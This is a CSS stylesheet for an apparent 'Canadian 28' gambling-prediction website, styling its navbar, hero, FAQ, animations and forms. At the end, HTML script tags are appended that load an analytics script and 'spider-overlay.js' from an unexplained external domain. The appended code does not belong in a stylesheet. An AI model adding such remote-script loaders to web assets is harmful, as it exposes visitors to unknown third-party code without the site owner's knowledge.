﻿/* ============================================================
   Canadian 28 Prediction Service - Magazine Editorial Style
   Custom CSS extending Tailwind
   ============================================================ */

/* ----- Font Face: System Serif/Sans-Serif Pairing ----- */
@font-face {
  font-family: 'Editorial Serif';
  src: local('Georgia'), local('Times New Roman'), local('Noto Serif SC');
  font-weight: 400;
  font-style: normal;
}
@font-face {
  font-family: 'Editorial Serif';
  src: local('Georgia Bold'), local('Times New Roman Bold');
  font-weight: 700;
  font-style: normal;
}

/* ----- Root Variables ----- */
:root {
  --primary: #2563eb;
  --primary-dark: #1d4ed8;
  --primary-light: #dbeafe;
  --accent: #78716c;
  --accent-light: #f5f5f4;
  --dark: #1c1917;
  --body: #44403c;
  --light: #fafaf9;
  --border: #e7e5e4;
  --section-num-color: #f0efed;
}

/* ----- Base Typography ----- */
html {
  scroll-behavior: smooth;
}

body {
  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'PingFang SC', 'Hiragino Sans GB', 'Microsoft YaHei', sans-serif;
  color: var(--body);
  background: #fff;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

/* Editorial serif for headings */
h1, h2, h3, h4, .editorial-serif,
.section-number, .pull-quote, .drop-cap,
.hero-headline, .stat-number {
  font-family: Georgia, 'Times New Roman', 'Noto Serif SC', 'STSong', 'SimSun', serif;
}

/* ----- Thin Navbar ----- */
.editorial-navbar {
  background: #fff;
  border-bottom: 1px solid var(--border);
  position: sticky;
  top: 0;
  z-index: 50;
  height: 64px;
}
.editorial-navbar .nav-link {
  position: relative;
  color: var(--body);
  font-size: 0.85rem;
  text-transform: uppercase;
  letter-spacing: 0.06em;
  font-weight: 500;
  transition: color 0.2s ease;
}
.editorial-navbar .nav-link:hover {
  color: var(--primary);
}
.editorial-navbar .nav-link::after {
  content: '';
  position: absolute;
  bottom: -4px;
  left: 0;
  width: 0;
  height: 2px;
  background: var(--primary);
  transition: width 0.25s ease;
}
.editorial-navbar .nav-link:hover::after {
  width: 100%;
}
.nav-cta-btn {
  background: var(--primary);
  color: #fff;
  padding: 8px 20px;
  border-radius: 0;
  font-size: 0.8rem;
  text-transform: uppercase;
  letter-spacing: 0.08em;
  font-weight: 600;
  transition: background 0.2s ease;
}
.nav-cta-btn:hover {
  background: var(--primary-dark);
}

/* ----- Mobile Menu Overlay ----- */
.mobile-menu-overlay {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: rgba(0,0,0,0.6);
  z-index: 99;
  opacity: 0;
  pointer-events: none;
  transition: opacity 0.3s ease;
}
.mobile-menu-overlay.active {
  opacity: 1;
  pointer-events: auto;
}
.mobile-menu-panel {
  position: fixed;
  top: 0;
  right: -320px;
  width: 300px;
  height: 100%;
  background: #fff;
  z-index: 100;
  padding: 80px 32px 40px;
  transition: right 0.35s cubic-bezier(0.4, 0, 0.2, 1);
  display: flex;
  flex-direction: column;
  gap: 4px;
}
.mobile-menu-panel.active {
  right: 0;
}
.mobile-menu-panel a {
  display: block;
  padding: 12px 0;
  font-size: 1.1rem;
  color: var(--dark);
  text-decoration: none;
  border-bottom: 1px solid var(--border);
  transition: color 0.2s ease;
}
.mobile-menu-panel a:hover {
  color: var(--primary);
}
.mobile-menu-close {
  position: absolute;
  top: 20px;
  right: 24px;
  font-size: 1.5rem;
  cursor: pointer;
  color: var(--accent);
  background: none;
  border: none;
}

/* ----- Section Horizontal Rule ----- */
.section-rule {
  border: none;
  height: 1px;
  background: var(--border);
  margin: 0 auto;
  max-width: 1200px;
}

/* ----- Hero Section ----- */
.hero-headline {
  font-size: clamp(2.5rem, 5vw, 4.5rem);
  line-height: 1.08;
  letter-spacing: -0.02em;
  color: var(--dark);
  font-weight: 700;
}
.hero-subheadline {
  font-size: clamp(1.05rem, 2vw, 1.25rem);
  color: var(--accent);
  line-height: 1.7;
  font-weight: 400;
}
.hero-side-panel {
  background: var(--accent-light);
  border-left: 4px solid var(--primary);
  padding: 28px 24px;
}
.hero-side-panel .panel-label {
  font-size: 0.7rem;
  text-transform: uppercase;
  letter-spacing: 0.1em;
  color: var(--accent);
  margin-bottom: 8px;
}
.hero-side-panel .panel-value {
  font-size: 1.5rem;
  font-weight: 700;
  color: var(--dark);
  font-family: Georgia, 'Times New Roman', serif;
}

/* ----- Drop Caps ----- */
.drop-cap::first-letter {
  font-size: 3.2em;
  float: left;
  line-height: 0.85;
  margin-right: 0.12em;
  color: var(--primary);
  font-weight: 700;
  font-family: Georgia, 'Times New Roman', serif;
}

/* ----- Section Number Overlay ----- */
.section-number-bg {
  position: absolute;
  font-size: 8rem;
  font-weight: 900;
  color: var(--section-num-color);
  line-height: 1;
  z-index: 0;
  pointer-events: none;
  user-select: none;
}

/* ----- Features: Asymmetric Layout ----- */
.feature-item {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 60px;
  align-items: center;
  padding: 60px 0;
}
.feature-item.reverse {
  direction: rtl;
}
.feature-item.reverse .feature-content {
  direction: ltr;
}
.feature-number {
  font-size: 4rem;
  font-weight: 900;
  color: var(--primary);
  opacity: 0.15;
  line-height: 1;
  margin-bottom: -20px;
}
.feature-image-placeholder {
  width: 100%;
  aspect-ratio: 4/3;
  background: var(--accent-light);
  display: flex;
  align-items: center;
  justify-content: center;
  color: var(--accent);
  font-size: 3rem;
  position: relative;
  overflow: hidden;
}
.feature-image-placeholder::after {
  content: '';
  position: absolute;
  bottom: 0;
  left: 0;
  width: 100%;
  height: 4px;
  background: var(--primary);
  transform: scaleX(0.3);
  transform-origin: left;
}

/* ----- Stats Bar ----- */
.stat-item {
  text-align: center;
  padding: 20px 12px;
}
.stat-number {
  font-size: 3rem;
  font-weight: 800;
  color: var(--primary);
  line-height: 1;
  font-family: Georgia, 'Times New Roman', serif;
}
.stat-label {
  font-size: 0.75rem;
  text-transform: uppercase;
  letter-spacing: 0.08em;
  color: var(--accent);
  margin-top: 8px;
}

/* ----- Pull Quotes / Testimonials ----- */
.pull-quote-wrapper {
  position: relative;
  padding: 40px 48px;
  background: #fff;
  border-left: 4px solid var(--primary);
}
.pull-quote-wrapper::before {
  content: '\201C';
  position: absolute;
  top: -10px;
  left: 16px;
  font-size: 7rem;
  font-family: Georgia, 'Times New Roman', serif;
  color: var(--primary);
  opacity: 0.15;
  line-height: 1;
  pointer-events: none;
}
.pull-quote-text {
  font-size: 1.2rem;
  line-height: 1.8;
  color: var(--dark);
  font-style: italic;
  font-family: Georgia, 'Times New Roman', serif;
}
.pull-quote-author {
  font-size: 0.85rem;
  color: var(--accent);
  margin-top: 16px;
  font-weight: 600;
  text-transform: uppercase;
  letter-spacing: 0.05em;
}

/* ----- Accordion FAQ ----- */
.faq-item {
  border-bottom: 1px solid var(--border);
}
.faq-question {
  width: 100%;
  text-align: left;
  padding: 20px 0;
  background: none;
  border: none;
  cursor: pointer;
  display: flex;
  align-items: center;
  justify-content: space-between;
  font-size: 1.05rem;
  font-weight: 600;
  color: var(--dark);
  transition: color 0.2s ease;
}
.faq-question:hover {
  color: var(--primary);
}
.faq-question .faq-number {
  color: var(--accent);
  font-size: 0.85rem;
  margin-right: 16px;
  font-family: Georgia, 'Times New Roman', serif;
}
.faq-question .faq-icon {
  transition: transform 0.3s ease;
  color: var(--accent);
  font-size: 0.9rem;
}
.faq-question.active .faq-icon {
  transform: rotate(45deg);
  color: var(--primary);
}
.faq-answer {
  max-height: 0;
  overflow: hidden;
  transition: max-height 0.4s ease, padding 0.4s ease;
}
.faq-answer.open {
  max-height: 400px;
  padding-bottom: 24px;
}
.faq-answer-inner {
  color: var(--body);
  line-height: 1.8;
  padding-left: 44px;
}

/* ----- CTA Banner ----- */
.cta-banner {
  background: var(--dark);
  color: #fff;
  padding: 80px 0;
  position: relative;
  overflow: hidden;
}
.cta-banner::before {
  content: '';
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: linear-gradient(135deg, var(--primary-dark) 0%, transparent 60%);
  opacity: 0.3;
}
.cta-banner .cta-headline {
  font-size: clamp(2rem, 4vw, 3.5rem);
  font-weight: 700;
  line-height: 1.1;
  font-family: Georgia, 'Times New Roman', serif;
  position: relative;
  z-index: 1;
}
.cta-banner .cta-btn-primary {
  background: #fff;
  color: var(--dark);
  padding: 14px 36px;
  font-weight: 700;
  font-size: 0.9rem;
  text-transform: uppercase;
  letter-spacing: 0.06em;
  transition: all 0.25s ease;
  position: relative;
  z-index: 1;
}
.cta-banner .cta-btn-primary:hover {
  background: var(--primary);
  color: #fff;
}

/* ----- Footer ----- */
.editorial-footer {
  background: #fff;
  border-top: 1px solid var(--border);
  padding: 60px 0 30px;
}
.footer-heading {
  font-size: 0.75rem;
  text-transform: uppercase;
  letter-spacing: 0.1em;
  color: var(--accent);
  margin-bottom: 20px;
  font-weight: 700;
}
.footer-link {
  color: var(--body);
  text-decoration: none;
  font-size: 0.9rem;
  line-height: 2.2;
  transition: color 0.2s ease;
}
.footer-link:hover {
  color: var(--primary);
}
.footer-bottom {
  border-top: 1px solid var(--border);
  margin-top: 40px;
  padding-top: 20px;
  font-size: 0.8rem;
  color: var(--accent);
}

/* ----- Animations ----- */
@keyframes fadeInUp {
  from {
    opacity: 0;
    transform: translateY(40px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}
@keyframes slideInFromLeft {
  from {
    opacity: 0;
    transform: translateX(-60px);
  }
  to {
    opacity: 1;
    transform: translateX(0);
  }
}
@keyframes slideInFromRight {
  from {
    opacity: 0;
    transform: translateX(60px);
  }
  to {
    opacity: 1;
    transform: translateX(0);
  }
}
@keyframes fadeInScale {
  from {
    opacity: 0;
    transform: scale(0.9);
  }
  to {
    opacity: 1;
    transform: scale(1);
  }
}

.animate-fadeInUp {
  animation: fadeInUp 0.7s cubic-bezier(0.16, 1, 0.3, 1) forwards;
}
.animate-slideInLeft {
  animation: slideInFromLeft 0.7s cubic-bezier(0.16, 1, 0.3, 1) forwards;
}
.animate-slideInRight {
  animation: slideInFromRight 0.7s cubic-bezier(0.16, 1, 0.3, 1) forwards;
}

/* Elements initially hidden, revealed by IntersectionObserver */
.reveal-on-scroll {
  opacity: 0;
  transform: translateY(40px);
  transition: opacity 0.7s cubic-bezier(0.16, 1, 0.3, 1),
              transform 0.7s cubic-bezier(0.16, 1, 0.3, 1);
}
.reveal-on-scroll.revealed {
  opacity: 1;
  transform: translateY(0);
}

.reveal-left {
  opacity: 0;
  transform: translateX(-60px);
  transition: opacity 0.7s cubic-bezier(0.16, 1, 0.3, 1),
              transform 0.7s cubic-bezier(0.16, 1, 0.3, 1);
}
.reveal-left.revealed {
  opacity: 1;
  transform: translateX(0);
}

.reveal-right {
  opacity: 0;
  transform: translateX(60px);
  transition: opacity 0.7s cubic-bezier(0.16, 1, 0.3, 1),
              transform 0.7s cubic-bezier(0.16, 1, 0.3, 1);
}
.reveal-right.revealed {
  opacity: 1;
  transform: translateX(0);
}

/* Stagger delay for feature items */
.feature-item:nth-child(1) .reveal-left,
.feature-item:nth-child(1) .reveal-right { transition-delay: 0.1s; }
.feature-item:nth-child(2) .reveal-left,
.feature-item:nth-child(2) .reveal-right { transition-delay: 0.2s; }
.feature-item:nth-child(3) .reveal-left,
.feature-item:nth-child(3) .reveal-right { transition-delay: 0.3s; }
.feature-item:nth-child(4) .reveal-left,
.feature-item:nth-child(4) .reveal-right { transition-delay: 0.4s; }
.feature-item:nth-child(5) .reveal-left,
.feature-item:nth-child(5) .reveal-right { transition-delay: 0.5s; }
.feature-item:nth-child(6) .reveal-left,
.feature-item:nth-child(6) .reveal-right { transition-delay: 0.6s; }

/* ----- Callout / Sidebar Info Box ----- */
.callout-box {
  background: var(--accent-light);
  border-left: 4px solid var(--primary);
  padding: 24px 28px;
  margin: 32px 0;
}
.callout-box .callout-label {
  font-size: 0.7rem;
  text-transform: uppercase;
  letter-spacing: 0.1em;
  color: var(--accent);
  font-weight: 700;
  margin-bottom: 8px;
}
.callout-box .callout-text {
  font-size: 0.95rem;
  color: var(--body);
  line-height: 1.7;
}

/* ----- Horizontal Rule Decorative ----- */
.decorative-rule {
  display: flex;
  align-items: center;
  gap: 16px;
}
.decorative-rule::before,
.decorative-rule::after {
  content: '';
  flex: 1;
  height: 1px;
  background: var(--border);
}
.decorative-rule .rule-icon {
  color: var(--accent);
  font-size: 0.6rem;
}

/* ----- Button Styles ----- */
.btn-editorial-primary {
  background: var(--primary);
  color: #fff;
  padding: 14px 32px;
  font-weight: 600;
  font-size: 0.85rem;
  text-transform: uppercase;
  letter-spacing: 0.06em;
  transition: all 0.25s ease;
  border: none;
  cursor: pointer;
  display: inline-block;
}
.btn-editorial-primary:hover {
  background: var(--primary-dark);
  transform: translateY(-2px);
  box-shadow: 0 8px 24px rgba(37, 99, 235, 0.25);
}
.btn-editorial-outline {
  background: transparent;
  color: var(--dark);
  padding: 14px 32px;
  font-weight: 600;
  font-size: 0.85rem;
  text-transform: uppercase;
  letter-spacing: 0.06em;
  border: 2px solid var(--border);
  transition: all 0.25s ease;
  cursor: pointer;
  display: inline-block;
}
.btn-editorial-outline:hover {
  border-color: var(--primary);
  color: var(--primary);
}

/* ----- Contact Form Editorial ----- */
.editorial-input {
  width: 100%;
  padding: 14px 16px;
  border: none;
  border-bottom: 2px solid var(--border);
  background: transparent;
  font-size: 1rem;
  color: var(--dark);
  transition: border-color 0.25s ease;
  outline: none;
  font-family: inherit;
}
.editorial-input:focus {
  border-bottom-color: var(--primary);
}
.editorial-input::placeholder {
  color: var(--accent);
  opacity: 0.6;
}
.editorial-textarea {
  width: 100%;
  padding: 14px 16px;
  border: 2px solid var(--border);
  background: transparent;
  font-size: 1rem;
  color: var(--dark);
  transition: border-color 0.25s ease;
  outline: none;
  resize: vertical;
  min-height: 140px;
  font-family: inherit;
}
.editorial-textarea:focus {
  border-color: var(--primary);
}

/* ----- About Page: Timeline ----- */
.timeline-dot {
  width: 12px;
  height: 12px;
  background: var(--primary);
  border-radius: 50%;
  position: absolute;
  left: -6px;
  top: 6px;
}
.timeline-line {
  position: absolute;
  left: 0;
  top: 0;
  bottom: 0;
  width: 2px;
  background: var(--border);
}

/* ----- Tag / Badge ----- */
.tag {
  display: inline-block;
  padding: 4px 12px;
  font-size: 0.7rem;
  text-transform: uppercase;
  letter-spacing: 0.08em;
  background: var(--primary-light);
  color: var(--primary);
  font-weight: 700;
}

/* ----- Blockquote ----- */
blockquote.editorial {
  border-left: 4px solid var(--primary);
  padding: 20px 28px;
  margin: 32px 0;
  background: var(--accent-light);
  font-style: italic;
  font-family: Georgia, 'Times New Roman', serif;
  font-size: 1.1rem;
  line-height: 1.8;
  color: var(--dark);
}

/* ----- Responsive Adjustments ----- */
@media (max-width: 768px) {
  .feature-item {
    grid-template-columns: 1fr;
    gap: 32px;
    padding: 40px 0;
  }
  .feature-item.reverse {
    direction: ltr;
  }
  .hero-side-panel {
    margin-top: 24px;
  }
  .pull-quote-wrapper {
    padding: 32px 24px;
  }
  .pull-quote-wrapper::before {
    font-size: 4rem;
    top: 0;
    left: 8px;
  }
  .stat-number {
    font-size: 2rem;
  }
  .section-number-bg {
    font-size: 4rem;
  }
  .cta-banner {
    padding: 48px 0;
  }
}

/* ----- Print-friendly adjustments ----- */
@media print {
  .editorial-navbar,
  .mobile-menu-overlay,
  .mobile-menu-panel,
  .nav-cta-btn { display: none; }
  body {
    color: #000;
  }
}

/* ----- Smooth button transition helpers ----- */
.transition-all-smooth {
  transition: all 0.3s cubic-bezier(0.16, 1, 0.3, 1);
}

/* ----- Error / Success messages ----- */
.form-message {
  padding: 12px 16px;
  font-size: 0.9rem;
  margin-top: 12px;
}
.form-message.success {
  background: #ecfdf5;
  color: #065f46;
  border-left: 3px solid #10b981;
}
.form-message.error {
  background: #fef2f2;
  color: #991b1b;
  border-left: 3px solid #ef4444;
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

